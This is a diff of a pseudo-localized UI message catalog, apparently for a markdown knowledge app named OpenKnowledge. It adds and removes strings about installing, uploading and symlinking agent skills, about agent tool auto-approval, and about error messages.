+ "Àƥƥĺĩēś ţō àĺĺ ƥŕōĴēćţś ōń ţĥĩś ḿàćĥĩńē. Ćĺàũďē àńď Ćōďēx, śţàŕţēď ƒŕōḿ ţĥē ƀũĩĺţ-ĩń ţēŕḿĩńàĺ, àũţō-àƥƥŕōvē ŌƥēńĶńōŵĺēďĝē'ś ŕēàď àńď ŵŕĩţē ţōōĺś (Ćĺàũďē àĺśō àũţō-ŕũńś \"ōķ ōƥēń\"). Ďēĺēţĩńĝ, ḿōvĩńĝ, śĥàŕĩńĝ, ĩḿƥōŕţĩńĝ ōŕ ĩńśţàĺĺĩńĝ śķĩĺĺś, ōţĥēŕ ćōḿḿàńďś, àńď ńōń-ŌƥēńĶńōŵĺēďĝē ƒĩĺē ēďĩţś śţĩĺĺ àśķ. Ćũŕśōŕ, ŌƥēńĆōďē, àńď Ƥĩ àŕē ũńàƒƒēćţēď. ßēśţ-ēƒƒōŕţ ƥēŕ àĝēńţ."
+ ],
"jEZ6Lf": ["ƥŕōvĩśĩōńàĺ"],
"jEdF24": ["Ḿĩśśĩńĝ ƥàĝē: ", ["linkTitle"], ". Ćĺĩćķ ţō ćŕēàţē."],
+ "jJdwCB": ["Ŕēvēŕţ"],
"jKd3AP": ["Ćōũĺď ńōţ ēńàƀĺē ţĥē ţēŕḿĩńàĺ: ", ["0"]],
"jL3gox": ["Śēĺēćţ à vàĺũē"],
"jO18NZ": ["Ĩ'ḿ śŵĩţćĥĩńĝ ţō àńōţĥēŕ ţōōĺ"],
@@ -2503,7 +2740,6 @@
"jSO1X5": ["Ĩńĥēŕĩţēď ţēḿƥĺàţēś ćàń'ţ ƀē ŕēńàḿēď ĥēŕē — ŕēńàḿē ĩţ ĩń ţĥē ƒōĺďēŕ ţĥàţ ōŵńś ĩţ."],
"jSY41h": ["\"", ["docName"], "\" ţōōķ ţōō ĺōńĝ. Ćĥēćķ ŷōũŕ ćōńńēćţĩōń."],
"jTLWxh": ["Ēḿƀēď àń ēxţēŕńàĺ ƥàĝē ĩń àń ĩńĺĩńē ĩƒŕàḿē (ďōćś, ďēḿōś, Ƒĩĝḿà, ĆōďēŚàńďƀōx)."],
- "jX0IPx": ["À śķĩĺĺ ŵĩţĥ ţĥĩś ńàḿē àĺŕēàďŷ ēxĩśţś."],
"jZ_E5M": ["Ƒēţćĥ ƒàĩĺēď — ćĥēćķ ţĥē śēŕvēŕ ĺōĝś ƒōŕ ďēţàĩĺś."],
"j_Z6g7": ["Śĥàŕēď ďēƒàũĺţ"],
"jbSG8V": ["Śĥōŵ Ƒĩĺēś (", ["sidebarShortcutLabel"], ")"],
@@ -2515,8 +2751,13 @@
"jnCROW": [
"À ḿēḿōŕŷ śńàƥśĥōţ ƒŕōḿ ţĥē ćŕàśĥ, àńď ţĥē àŕţĩƒàćţ ţĥàţ ĥēĺƥś ũś ḿōśţ. Ĩţ ćàń ćōńţàĩń ďōćũḿēńţ ćōńţēńţ àńď ćàń'ţ ƀē ŕēďàćţēď, śō ũńćĥēćķ ĩţ ĩƒ ŷōũ'ď ŕàţĥēŕ ńōţ śĥàŕē ĩţ."
],
+ "jng7Ko": ["ćōńƒĺĩćţ"],
"jol95m": ["Ƒàĩĺēď ţō ōƥēń ƤŕōĴēćţ Ńàvĩĝàţōŕ."],
"jpctdh": ["Vĩēŵ"],
+ "jpoCue": [".ḿŷţēàḿ/śķĩĺĺś"],
+ "jqe7Yq": [
+ "Ōƥēńś Śēţţĩńĝś → Śķĩĺĺś, ŵĥēŕē ŷōũ ĺĩńķ à ŵĥōĺē ƒōĺďēŕ ĩńţō àńōţĥēŕ śō ƀōţĥ àĝēńţś ŕēàď ţĥē śàḿē śķĩĺĺś, àńď àďď ćũśţōḿ śķĩĺĺ ŕōōţś."
+ ],
"jtg_8-": [
"ßũĩĺď à ķńōŵĺēďĝē ŵĩķĩ àƀōũţ ţĥē ďĩƒƒēŕēńţ ţŷƥēś ōƒ ƒĺĩĝĥţĺēśś ƀĩŕďś. Śţàŕţ ŵĩţĥ àń ōvēŕvĩēŵ ƥàĝē, ţĥēń àďď ćŕōśś-ĺĩńķēď ƥàĝēś ƒōŕ ēàćĥ ḿàĴōŕ ĝŕōũƥ (ŕàţĩţēś ĺĩķē ōśţŕĩćĥēś, ēḿũś, àńď ķĩŵĩś; ƥēńĝũĩńś; àńď ƒĺĩĝĥţĺēśś ŕàĩĺś), ţĥē ŕēĝĩōńś ţĥēŷ ĺĩvē ĩń, àńď à ţĩḿēĺĩńē ōƒ ĥōŵ ƒĺĩĝĥţĺēśśńēśś ēvōĺvēď."
],
@@ -2553,6 +2794,9 @@
"kCjkGY": ["Ţĥĩś ḿàŷ ţàķē à ḿōḿēńţ. Ŷōũŕ ḿàŕķďōŵń ćōńţēńţ ĩś ķēƥţ."],
"kCqCyf": ["Ōƥēń ĆōďēḾĩŕŕōŕ'ś ĺĩńţ ďĩàĝńōśţĩćś ƥàńēĺ."],
"kFLlsI": ["Ĩńśēŕţ à ƒōōţńōţē ŕēƒēŕēńćē + ḿàţćĥĩńĝ ďēƒĩńĩţĩōń śţũƀ."],
+ "kKw0H3": [
+ "Ŷōũ ēďĩţēď ţĥĩś śķĩĺĺ ĺōćàĺĺŷ àńď ţĥē śōũŕćē ĥàś ńēŵ ćĥàńĝēś. Ţàķĩńĝ ũƥśţŕēàḿ ŕēƥĺàćēś ŷōũŕ vēŕśĩōń; ŷōũŕ ēďĩţś śţàŷ ŕēćōvēŕàƀĺē ĩń vēŕśĩōń ĥĩśţōŕŷ."
+ ],
"kLv8d3": [
"Ŷōũŕ ćōƥŷ ōƒ ƀŕàńćĥ <0>",
["shareBranch"],
@@ -2587,6 +2831,7 @@
"keop3U": [
"Ţĥĩś ŕēḿōvēś ŌƥēńĶńōŵĺēďĝē’ś śēţţĩńĝś àńď ĩńţēĝŕàţĩōńś ƒŕōḿ ŷōũŕ Ḿàć àńď àńŷ ƥŕōĴēćţś ŷōũ śēĺēćţ ƀēĺōŵ, ƀũţ ķēēƥś ŷōũŕ ḿàŕķďōŵń ćōńţēńţ àńď àũţĥōŕēď śķĩĺĺś."
],
+ "kfL8BJ": ["Ĩḿƥōŕţ ƒàĩĺēď: ", ["0"]],
"khCa4M": ["Ţēàćĥēś ćōďĩńĝ àĝēńţś ĩń ţĥĩś ƥŕōĴēćţ ţō ŕēàď àńď ŵŕĩţē ţĥŕōũĝĥ ŌƥēńĶńōŵĺēďĝē."],
"kj9pAE": ["Ćŕēàţĩńĝ ƥàĝē"],
"kknhfj": ["Ńō ćĥàńĝēś"],
@@ -2595,6 +2840,7 @@
"knjOzA": ["Ţàĝ vàĺũē"],
"ko386X": ["À ďōćũḿēńţ ĥàś à ćōńƒĺĩćţ — ŕēśōĺvē ĩţ ţō ķēēƥ ĩţ ũƥ ţō ďàţē."],
"kolRU1": ["Ďō ŷōũ ŵàńţ ţō ƥēŕḿàńēńţĺŷ ďēĺēţē ĩńśţēàď?"],
+ "koo58J": ["Ũƥĺōàď śķĩĺĺ"],
"kooyLJ": ["Ƒàĩĺēď ţō ŕēńàḿē ţĥē ƒĩēĺď"],
"kpqWwG": ["Ţĥĩś ", ["targetNoun"], " ŵàś ŕēḿōvēď ƒŕōḿ ƀŕàńćĥ <0>", ["branch"], "</0>."],
"kq-Qj4": ["Ćōũĺďń'ţ ŵōŕķ ōũţ ŵĥēŕē ţō śēńď ţĥē ćōḿḿēńţś — ţĥēŷ śţàŷ ǫũēũēď."],
@@ -2641,8 +2887,13 @@
"lHwYMr": ["Śēŕvēŕ ēŕŕōŕ: ", ["status"], " ", ["statusText"]],
"lI0Td2": ["Ũśē ĺēţţēŕś, ďĩĝĩţś, <0>_</0> àńď <1>-</1> ōńĺŷ."],
"lISYEX": ["Ćōũĺďń'ţ ŕēōƥēń ţĥàţ ćōḿḿēńţ."],
+ "lK9c4T": ["Ķēēƥ ţĥē ńàḿē ţō 64 ćĥàŕàćţēŕś ōŕ ƒēŵēŕ."],
"lKQnp-": ["Ĩńśţàĺĺēď ", ["0"], " ", ["1"]],
+ "lM4c-I": [
+ "À ƥàţĥ ĩńśĩďē ţĥē śķĩĺĺ — àńŷ ƒōĺďēŕ ŵōŕķś (ē.ĝ. ŕēƒēŕēńćēś/ńōţēś.ḿď). Ƒōĺďēŕś ĩń ţĥē ƥàţĥ àŕē ćŕēàţēď ƒōŕ ŷōũ."
+ ],
"lPzyrU": ["Àĺĺ ĥũńķś ŕēśōĺvēď"],
+ "lUtr1r": [["0"], " ōƒ ", ["1"], " śēĺēćţēď"],
"lVWEIL": ["Ĩńďēxēď ", ["embedded"], " ōƒ ", ["total"], " ƥàĝēś."],
"lWNpNB": ["Àďď ćũŕśōŕś ōŕ śēĺēćţ ḿàţćĥĩńĝ ōććũŕŕēńćēś ţĥŕōũĝĥ ĆōďēḾĩŕŕōŕ."],
"lXKZGw": ["Ĥēàďĩńĝ 1"],
@@ -2652,7 +2903,12 @@
"l_UFPv": ["Ƥŕōƥēŕţĩēś"],
"lb_UU4": ["Śŷńć ńōŵ"],
"lbkOif": ["Ũńďō ōŕ ŕēďō vĩśũàĺ-ēďĩţōŕ ćĥàńĝēś ţĥŕōũĝĥ ŢĩƥŢàƥ ćōĺĺàƀōŕàţĩōń ĥĩśţōŕŷ."],
+ "leF0i_": ["Ńēŵ ƒĩĺē ĩń ţĥĩś śķĩĺĺ"],
+ "leiGnv": [["dir"], " (śŷḿĺĩńķ)"],
"lhjq3G": ["Ŕēśēţ ", ["labelText"], " ţō ďēƒàũĺţ"],
+ "lj4cNf": [
+ "Ƥĩćķ ţĥē śķĩĺĺś ţō ĩńśţàĺĺ. Ēàćĥ ōńē ĺàńďś àś àń ēďĩţàƀĺē śķĩĺĺ ŷōũ ōŵń; ţĥē ƥĺũĝĩń'ś ĥōōķś, ćōḿḿàńďś, àńď ḾĆƤ śēŕvēŕś àŕē ńōţ ĩńśţàĺĺēď."
+ ],
"ljFWEt": ["Ńō śēţţĩńĝś ƒōũńď"],
"ljHjfg": ["Ţĥàţ ƀŕàńćĥ ĩś àĺŕēàďŷ ōƥēń ĩń àńōţĥēŕ ŵōŕķţŕēē."],
"lkYioO": ["Śĥōŵ ōŕ ĥĩďē ďōćũḿēńţ ƥàńēĺ"],
@@ -2662,9 +2918,15 @@
],
"lond3p": ["Śĥōŵś àƀōvē ţĥē ćōďē ƀōďŷ. Ŕōũńď-ţŕĩƥś àś `ţĩţĺē=\"...\"` ĩń ḿàŕķďōŵń."],
"lrhetp": ["+ ", ["overflow"], " ḿōŕē"],
+ "lwCV5v": ["Ćōũĺďń'ţ ōƥēń ", ["0"], " ƒōŕ ēďĩţĩńĝ: ", ["1"]],
"lyWa43": ["ƤŕōĴēćţ-ĺēvēĺ ďĩśćōńńēćţēď ƥàĝēś"],
"lzmtKp": ["Ƒàĩĺēď ţō ĺōàď ƒōĺďēŕ ƥŕōƥēŕţĩēś: ", ["message"]],
"lzwo7p": ["Ćōũĺď ńōţ ōƥēń ĜĩţĤũƀ śĩĝń-ĩń. Ƥĺēàśē ţŕŷ àĝàĩń."],
+ "m0eHej": [
+ "Ŕēƥĺàćē ţĥē ćōƥŷ àţ ",
+ ["display"],
+ " ŵĩţĥ à śŷḿĺĩńķ ţō ţĥē śķĩĺĺ'ś śōũŕćē ƒōĺďēŕ? Ńōţĥĩńĝ ēĺśē ḿōvēś."
+ ],
"m16xKo": ["Àďď"],
"m2T1Xj": ["Ţàĝ #", ["tagValue"], ", ", ["uses"]],
"m6YGpY": ["Àćţĩvē ƥàńēĺ ćōńţēńţ ƒōŕ ţĥē śēĺēćţēď ţàƀ śĥōŵś ĥēŕē."],
@@ -2677,15 +2939,14 @@
"mLAjyL": [
"Ĝĩvē ţĥē ÀĨ ţōōĺś ŷōũ ũśē àććēśś ţō ŕēàď àńď ũƥďàţē ŷōũŕ ƥŕōĴēćţś. Ćĥēćķĩńĝ à ƀōx śēţś ĩţ ũƥ ŕĩĝĥţ àŵàŷ; ũńćĥēćķĩńĝ ŕēḿōvēś ĩţ."
],
- "mPneVR": ["Ũƥďàţēď \"", ["display"], "\" ţō ", ["0"], "."],
"mPy9lS": [
"Ōŕĝàńĩźē ḿŷ ēxĩśţĩńĝ śƥēćś ĩńţō à ĺĩńķēď ĩńďēx ĝŕōũƥēď ƀŷ àŕēà, àńď ƒĺàĝ àńŷ ţĥàţ ĥàvē ďŕĩƒţēď ōũţ ōƒ śŷńć ŵĩţĥ ţĥē ćũŕŕēńţ ćōďē."
],
+ "mShKiV": ["Ũƥĺōàď à śķĩĺĺ"],
"mToVM9": ["Ḿēśśàĝē ", ["agentName"]],
"mU3j1b": ["Ŕēḿōvē ĩţēḿ ", ["0"]],
"mVFyH-": [["accessibleLabel"], " (ćōńƒĺĩćţ)"],
"mWVJRX": ["Ćōĺĺàƥśĩƀĺē śēćţĩōń ŵĩţĥ à ćĺĩćķàƀĺē śũḿḿàŕŷ."],
- "mY8U64": ["Ţēàćĥ àĝēńţś à ŕēƥēàţàƀĺē ţàśķ. Ŷōũ ćàń ēďĩţ ţĥē ƀōďŷ àƒţēŕ ćŕēàţĩńĝ."],
"mYGY3B": ["Ďàţē"],
"mYzDD_": ["À ŵōŕķţŕēē ƒōĺďēŕ ƒōŕ ţĥàţ ƀŕàńćĥ àĺŕēàďŷ ēxĩśţś."],
"mZ1r4i": ["Ćŕēàţē à ďōćũḿēńţ ƒŕōḿ ", ["label"]],
@@ -2731,15 +2992,11 @@
"msuDyW": [
"Śēţ ţĥē śŷńć ďēƒàũĺţ ƒōŕ ũśēŕś ōƥēńĩńĝ ţĥĩś ƥŕōĴēćţ ƒōŕ ţĥē ƒĩŕśţ ţĩḿē. Ţĥĩś śēţţĩńĝ ĩś ćōḿḿĩţţēď ţō ŷōũŕ ŕēƥōśĩţōŕŷ."
],
- "mu1O0q": [
- "Ōƥēń Ķńōŵĺēďĝē ćàń ḿàńàĝē ",
- ["0"],
- " ēďĩţōŕ śķĩĺĺ(ś) ƒōŕ ţĥĩś ƥŕōĴēćţ. Ĩḿƥōŕţ ḿōvēś ţĥēḿ ĩńţō .ōķ/śķĩĺĺś àńď ŕēƥĺàćēś ţĥē .ćĺàũďē, .ćōďēx, ēţć. ćōƥĩēś ŵĩţĥ śŷḿĺĩńķś — ōńē ƥĺàćē ţō ēďĩţ, ĩń śŷńć ēvēŕŷŵĥēŕē. Ĩƒ ţĥōśē ƒōĺďēŕś àŕē ćōḿḿĩţţēď ţō ĝĩţ, ŕēvĩēŵ ţĥē ćĥàńĝē ƒĩŕśţ; śŷḿĺĩńķś ćàń ƀēĥàvē ďĩƒƒēŕēńţĺŷ ōń śōḿē ēďĩţōŕś àńď ōń Ŵĩńďōŵś."
- ],
"mwMF9u": ["Ōƥēń ĆōďēḾĩŕŕōŕ śēàŕćĥ ĩń śōũŕćē ēďĩţōŕ ḿōďē."],
"mxGJVE": ["Śŵĩţćĥ ŵōŕķţŕēē…"],
"mxY24F": ["Ďũƥĺĩćàţē ţĥē ƒōćũśēď ƒĩĺē-ţŕēē ĩţēḿ ŵĥēń ƒōćũś ĩś ĩń ţĥē Ƒĩĺēś śĩďēƀàŕ."],
"n2lRue": ["Ćōḿḿĩţ ōŕ śţàśĥ ćĥàńĝēś ţō śŵĩţćĥ:"],
+ "n3T3EE": ["Ĩńśţàĺĺēď ĩń ", ["label"], " — ćĺĩćķ ţō ŕēḿōvē"],
"n3wx1q": ["Ŕēśţōŕē ţō ţĥĩś vēŕśĩōń?"],
"n5n_vi": ["Ƥŕĩvàţē ŕēƥōśĩţōŕŷ"],
"n6hXUm": [
@@ -2750,27 +3007,19 @@
"Ćōńńēćţś àũţōḿàţĩćàĺĺŷ ţĥē ńēxţ ţĩḿē ŷōũ ōƥēń ţĥĩś ƥŕōĴēćţ ĩń à ţŕũśţēď Ćōďēx śēśśĩōń."
],
"nBHvPL": ["Ćàńćēĺ ēďĩţĩńĝ"],
+ "nBgzKO": ["Ḿàķē ţĥĩś ţĥē śōũŕćē — ţĥē śķĩĺĺ'ś ŕēàĺ ƒōĺďēŕ ḿōvēś ĥēŕē"],
"nCzR-G": ["Ćōƥŷ ćōďē ", ["userCode"]],
- "nD7Fx9": [
- "Ţĥĩś ŕēƥĺàćēś ţĥē ćũŕŕēńţ śķĩĺĺ ćōńţēńţ ŵĩţĥ ţĥē ƀũńďĺēď vēŕśĩōń ",
- ["0"],
- ". Àńŷ ĺōćàĺ ēďĩţś ŵĩĺĺ ƀē ŕēƥĺàćēď — ŷōũŕ ćũŕŕēńţ vēŕśĩōń ĩś śàvēď ţō ĥĩśţōŕŷ ƒĩŕśţ, śō ŷōũ ćàń ŕēśţōŕē ĩţ."
- ],
"nDT8qt": ["Ĩńĩţĩàĺĩźēď ", ["0"], " ƀũţ ćōũĺď ńōţ ōƥēń ĩţ."],
"nG-XA9": ["Ţĥē àńćĥōŕēď ţēxţ ĩś ĝōńē. Ŷōũ ćàń ŕē-ƥĺàćē ĩţ ōń śēĺēćţēď ţēxţ."],
"nGAFeH": [
"Ŕēƥōŕţś ŷōũ'vē ĝēńēŕàţēď ōń ţĥĩś Ḿàć. Ŕēţŕŷ à śēńď, ŕēvēàĺ à ƒĩĺē, ōŕ ďēĺēţē ōńē ŷōũ ńō ĺōńĝēŕ ńēēď."
],
- "nJq7et": ["Ćōũĺďń'ţ ũńĩńśţàĺĺ śķĩĺĺ: ", ["0"]],
"nMSYz5": [
"Ţĥĩś ƥàţĥ ĩś ōń àń ēxţēŕńàĺ vōĺũḿē (/Vōĺũḿēś/...). ŌƥēńĶńōŵĺēďĝē ŵĩĺĺ ĺōśē ţŕàćķ ōƒ ƒĩĺēś ŵĥēń ţĥē ďŕĩvē ēĴēćţś."
],
"nNYV3Y": ["àńď ", ["remaining"], " ḿōŕē"],
"nOEDQs": ["Ƒàĩĺēď ţō ũƥďàţē śŷńć ḿōďē — ", ["detail"]],
"nP-KFo": ["Ńēŵ ", ["0"], " ćĥàţ"],
- "nP76lk": [
- "Àƥƥĺĩēś ţō àĺĺ ƥŕōĴēćţś ōń ţĥĩś ḿàćĥĩńē. Ćĺàũďē àńď Ćōďēx, śţàŕţēď ƒŕōḿ ţĥē ƀũĩĺţ-ĩń ţēŕḿĩńàĺ, àũţō-àƥƥŕōvē ŌƥēńĶńōŵĺēďĝē'ś ŕēàď àńď ŵŕĩţē ţōōĺś (Ćĺàũďē àĺśō àũţō-ŕũńś \"ōķ ōƥēń\"). Ďēĺēţĩńĝ, ḿōvĩńĝ, śĥàŕĩńĝ, ĩńśţàĺĺĩńĝ śķĩĺĺś, ōţĥēŕ ćōḿḿàńďś, àńď ńōń-ŌƥēńĶńōŵĺēďĝē ƒĩĺē ēďĩţś śţĩĺĺ àśķ. Ćũŕśōŕ, ŌƥēńĆōďē, àńď Ƥĩ àŕē ũńàƒƒēćţēď. ßēśţ-ēƒƒōŕţ ƥēŕ àĝēńţ."
- ],
"nTwL53": ["Ōƥēń à ďōć ţō śĥàŕē ĩţś ŨŔĹ."],
"nUNZL4": ["Àśķ ", ["0"]],
"nWv1ja": ["Ḿàńàĝē ĥĩďďēń ƒĩĺēś ĩń Śēţţĩńĝś → Ĩĝńōŕē ƥàţţēŕńś."],
@@ -2782,6 +3031,7 @@
],
"ndwmea": ["ũńàvàĩĺàƀĺē ōń ţĥĩś ƥĺàţƒōŕḿ"],
"neRy3o": ["Śƥĺĩţ ĺĩśţ ĩţēḿ"],
+ "nf0wk0": ["śŷḿĺĩńķēď vĩà ƥàŕēńţ"],
"nfPccR": [
[
"laterEdits",
@@ -2821,10 +3071,12 @@
],
"nzHlj8": ["Ćĺōśē ", ["0"]],
"nzaV6Q": ["Ƥàĝē ţĥũḿƀńàĩĺś"],
+ "o0bHtA": ["ßŷ ŌƥēńĶńōŵĺēďĝē"],
"o2yoFu": ["Ŕēvēàĺ ĩń Ƒĩńďēŕ, Ńō ŵōŕķśƥàćē"],
"o49mDZ": ["Ĺōàďĩńĝ ţĩḿēĺĩńē ĥĩśţōŕŷ"],
"o4dcAf": ["Ŕēvēàĺ ĩń Ƒĩĺē Ēxƥĺōŕēŕ, ", ["hint"]],
"o9CrsQ": ["ŕēśēàŕćĥ-ńōţē"],
+ "o9fPtM": ["Àũţō-ũƥďàţē ƒŕōḿ śōũŕćē"],
"oAFVKX": ["Ƒàĩĺēď ţō ũƥďàţē ţĥē ƥŕōĴēćţ śŷńć ďēƒàũĺţ — ", ["detail"]],
"oAGN8p": [
"Ŕēḿōţē ƀŕàńćĥ <0>",
@@ -2842,6 +3094,7 @@
"oQA-cA": ["Ƒũĺĺ ƥàţĥ"],
"oS1YpJ": ["Ōƥēń ţĥē ƤŕōĴēćţ Ńàvĩĝàţōŕ."],
"oWsZk8": ["Ćŕēàţē ḿĩśśĩńĝ ƥàĝē ", ["target"]],
+ "oX-rVu": ["Ĩńśţàĺĺ ƒàĩĺēď: ", ["0"]],
"oXKEsy": ["Ďēĺēţē àń àďĴàćēńţ ŵĩķĩ-ĺĩńķ ōŕ ţàĝ ćĥĩƥ."],
"oXlLi4": [
"ƤŕōĴēćţ ƥĺũĝĩńś àŕē ŷōũŕ ƥŕōĴēćţ'ś àũţĥōŕĩńĝ śţàńďàŕď — ţũŕń ţĥēḿ ōń ōŕ ōƒƒ ĥēŕē. Ţĥē ćĥōĩćē ĩś ćōḿḿĩţţēď ţō ćōńƒĩĝ.ŷḿĺ àńď śĥàŕēď ŵĩţĥ ēvēŕŷ ćōĺĺàƀōŕàţōŕ vĩà ĝĩţ. Ēàćĥ ēńàƀĺēď ƥĺũĝĩń ĝēţś ĩţś ōŵń ƥàĝē ũńďēŕ Ƥĺũĝĩńś ĩń ţĥē śēţţĩńĝś śĩďēƀàŕ."
@@ -2858,6 +3111,7 @@
"ojGc_T": ["Ōƥēń ćōḿḿēńţ"],
"omXJcU": ["Ćĺōśē ōţĥēŕś"],
"onTlRk": ["Ćōũĺďń'ţ ũƥďàţē śķĩĺĺś śĥàŕĩńĝ"],
+ "opPbzN": ["Ćōƥĩēś ţĥē śķĩĺĺ ţō ", ["path"]],
"optX0N": [["0"], "ĥ àĝō"],
"oqB2ez": ["Ƥŕēvĩōũś ḿàţćĥ"],
"os6dRM": ["Ćōũĺďń'ţ ŕēḿōvē ţĥàţ ćōḿḿēńţ ƒŕōḿ ţĥē ǫũēũē."],
@@ -2874,6 +3128,11 @@
"oxdGJn": ["ßēƒōŕē ŷōũ ĝō, ḿĩńď śĥàŕĩńĝ ŵĥŷ?"],
"p0Iq25": ["Ĩńśēŕţ ĺĩńķ"],
"p2LEhJ": ["Ƥēŕśōńàĺ àććēśś ţōķēń"],
+ "p3m_Gk": [
+ "ŌĶ ĺàśţ śēţ ţĥĩś ƒōĺďēŕ ţō ",
+ ["0"],
+ " — śōḿēţĥĩńĝ ōũţśĩďē ŌĶ ćĥàńĝēď ĩţ śĩńćē. Ţĥē śţàţē śĥōŵń ĩś ŵĥàţ'ś ōń ďĩśķ ńōŵ; ŷōũŕ ńēxţ Śŷḿĺĩńķ/Ũńĺĩńķ ŵĩńś."
+ ],
"p8TjFD": ["Ćōĺĺàƥśē śēśśĩōń ďōćķ"],
"p98xmP": ["Àƥƥĺĩēś ţō"],
"p9sdCy": ["Ńēŵ ĩĝńōŕē ƥàţţēŕń"],
@@ -2885,10 +3144,13 @@
"pFagOn": ["Śōũŕćē ēďĩţĩńĝ"],
"pHYP6v": ["Ōƥēń <0>Ćũśţōḿĩźē</0> ĩń ţĥē śĩďēƀàŕ <1/> <2>Śķĩĺĺś</2>."],
"pQf2Ux": [".ōķ/śķĩĺĺś ĩś ƀàćķ ţō ĺōćàĺ-ōńĺŷ."],
+ "pSimwP": ["Ńēŵ ńàḿē ƒōŕ ţĥē ", ["editor"], " vēŕśĩōń"],
"pTPqMK": ["Ţōĝĝĺē à ƒēńćēď ćōďē ƀĺōćķ."],
+ "pTyA_t": ["ţàĝś"],
"pUKV4K": ["Àũţō-ďēńĩēď"],
"pWT04I": ["Ćĥēćķĩńĝ..."],
"pWbsW6": ["Ĺōàďĩńĝ ďōćś"],
+ "pXB6SL": ["Ţĥē śķĩĺĺ'ś ōŵń ƒōĺďēŕ — ţĥē śōũŕćē ōţĥēŕ ĺōćàţĩōńś ćōƥŷ ōŕ ĺĩńķ ƒŕōḿ"],
"pZAs1T": ["Ƒàĩĺēď ţō ĺōàď ōũţĝōĩńĝ ĺĩńķś"],
"paCw0z": ["ēvēŕŷţĥĩńĝ ũńďēŕ ", ["0"], "/ ƒōĺďēŕś ĩńśĩďē ", ["1"], "/"],
"pajIrl": ["Ćōũĺď ńōţ ţũŕń ōƒƒ ţĥē ţēŕḿĩńàĺ: ", ["0"]],
@@ -2904,6 +3166,7 @@
"ppDgFi": ["Ŕēśţàŕţ ŵĩţĥ ţĥĩś àƥƥ'ś vēŕśĩōń"],
"psfGPX": ["ḾĆƤ ćōńńēćţĩōńś"],
"psl2Sj": ["Ŷōũŕ ćĥàńĝē ĩś śţĩĺĺ ƀēĩńĝ śàvēď — ŕũń ţĥē ţēśţ àĝàĩń ĩń à ḿōḿēńţ."],
+ "ptQ3_N": ["ũńĺĩńķ"],
"pvnfJD": ["Ďàŕķ"],
"pzutoc": ["Ĩţàĺĩć"],
"q2kXMG": ["Ĩńĺĩńē Ḿàţĥ"],
@@ -2912,6 +3175,7 @@
"q4YJl_": ["Ţĥē ţēŕḿĩńàĺ śēśśĩōń ēńďēď (ēxĩţ ćōďē ", ["0"], ")."],
"q6-JVU": ["Ĺōàďĩńĝ ƥàĝēś"],
"q7F5am": ["ţĩţĺē"],
+ "q8aCbb": ["Ţŵō vēŕśĩōńś ōƒ \"", ["0"], "\" — śōũŕćē vś ", ["editor"]],
"qAQVSD": ["Ƥàĝē ĥēàďĩńĝś ŕēśƥōńśē ŵàś ńōţ ĵŚŌŃ"],
"qAhFeg": [
["userName"],
@@ -2923,12 +3187,15 @@
"qEEfPk": ["ßũĝ ŕēƥōŕţ ", ["0"]],
"qEIFZu": ["Ķēŷ ēńďĩńĝ ĩń ", ["keyHint"]],
"qEue6Q": [" ōŕ "],
+ "qFKsNl": ["Ĩḿƥōŕţēď \"", ["0"], "\"."],
"qFWMl-": ["Vĩēŵ àś ţēxţ"],
"qIJIrD": ["Ţēśţĩńĝ"],
+ "qJSo0_": ["Ŵĥàţ ĩś ţĥē ďĩƒƒēŕēńćē ƀēţŵēēń ćōƥĩēś àńď śŷḿĺĩńķś?"],
"qNOgUu": ["Ēďĩţś àţ ţĥē śōũŕćē ĺàńď ĥēŕē — ńō ćōƥŷ-ƥàśţē ďŕĩƒţ."],
"qRZh7J": ["Ĺēţ Ţàƀ ĺēàvē ţĥē śōũŕćē ēďĩţōŕ ĩńśţēàď ōƒ ĩńďēńţĩńĝ."],
"qSKu2v": ["Śōũŕćē ńàvĩĝàţĩōń àńď śēĺēćţĩōń"],
"qSxaOz": ["Àććēƥţ ţĥēĩŕ ďēĺēţĩōń"],
+ "qTcVwj": ["ßŕōŵśē ōŕ ũƥĺōàď à śķĩĺĺ ƒōŕ ţĥĩś ƥŕōĴēćţ."],
"qTcZZu": ["Ƒàĩĺēď ţō ĺōàď ţàĝś. Ƥŕēśś <0>Ēść</0> àńď ŕē-ōƥēń ţō ŕēţŕŷ."],
"qX-ABr": ["Ōŕ ţō ũśē ƀŕōŵśēŕ śĩĝń-ĩń ĩńśţēàď:"],
"qXN416": ["Ćōũĺďń'ţ śĥàŕē śķĩĺĺś: ĩńţēŕńàĺ ēŕŕōŕ. Ƥĺēàśē ŕēśţàŕţ ţĥē àƥƥ."],
@@ -2945,6 +3212,8 @@
"qiRoLb": ["Śũḿḿàŕĩźē ēvēŕŷţĥĩńĝ Ĩ ćĥàńĝēď ţĥĩś ŵēēķ"],
"qioCwA": ["ĵũḿƥ ţō ƥàĝē ", ["pageNumber"]],
"qjHMHf": ["Ƒàĩĺēď ţō ďĩśàƀĺē śŷńć — ", ["detail"]],
+ "qkqG0b": ["Ţàķē ũƥśţŕēàḿ"],
+ "qlAIQ1": ["Ŕēḿōţē"],
"qmL1UG": ["Ũƥĺōàďĩńĝ śēćũŕēĺŷ"],
"qo4zCg": ["Ƥàţĥ ćàńńōţ ćōńţàĩń ƀàćķśĺàśĥēś"],
"qokN44": ["Śĥōŵ ǫũēũēď ćōḿḿēńţś"],
@@ -2970,6 +3239,7 @@
"Ţēĺĺ ũś ŵĥàţ ŵēńţ ŵŕōńĝ àńď ŵē'ĺĺ ĝàţĥēŕ ţĥē ĺōĝś. Ńōţĥĩńĝ ĺēàvēś ŷōũŕ Ḿàć ũńţĩĺ ŷōũ'vē ŕēvĩēŵēď ĩţ."
],
"rDOuNw": ["Ƒàĩĺēď ţō ĩḿƥōŕţ ţēḿƥĺàţē"],
+ "rFL-yb": ["Ēďĩţ à ćōƥŷ"],
"rFTdVq": ["Śĥōŵ ĩń Ēxƥĺōŕēŕ"],
"rFmBG3": ["Ćōĺōŕ ţĥēḿē"],
"rFw02Q": ["Ũƥĺōàďĩńĝ ", ["keyName"]],
@@ -2989,6 +3259,7 @@
"rZVMkf": ["Vĩśũàĺ ēďĩţōŕ ŕēƥĺàćē ĩńƥũţ ƒōćũśēď"],
"rageVb": ["Ćũśţōḿ ĤŢḾĹ ŵĩţĥ à ĺĩvē ƥŕēvĩēŵ ƥàńē (śàńďƀōxēď ĩƒŕàḿē)."],
"rbrHTd": ["Àƥƥŕōvēď — ", ["optionName"]],
+ "rcJmK8": ["Ćōńvēŕţ ĺōćàţĩōńś ţō ćōƥĩēś"],
"rdU729": ["Ĺàŷōũţ"],
"rfFpcF": ["Ŕēḿōvē ", ["chip"]],
"rg7hNd": ["Ŕàţē ŷōũŕ ēxƥēŕĩēńćē"],
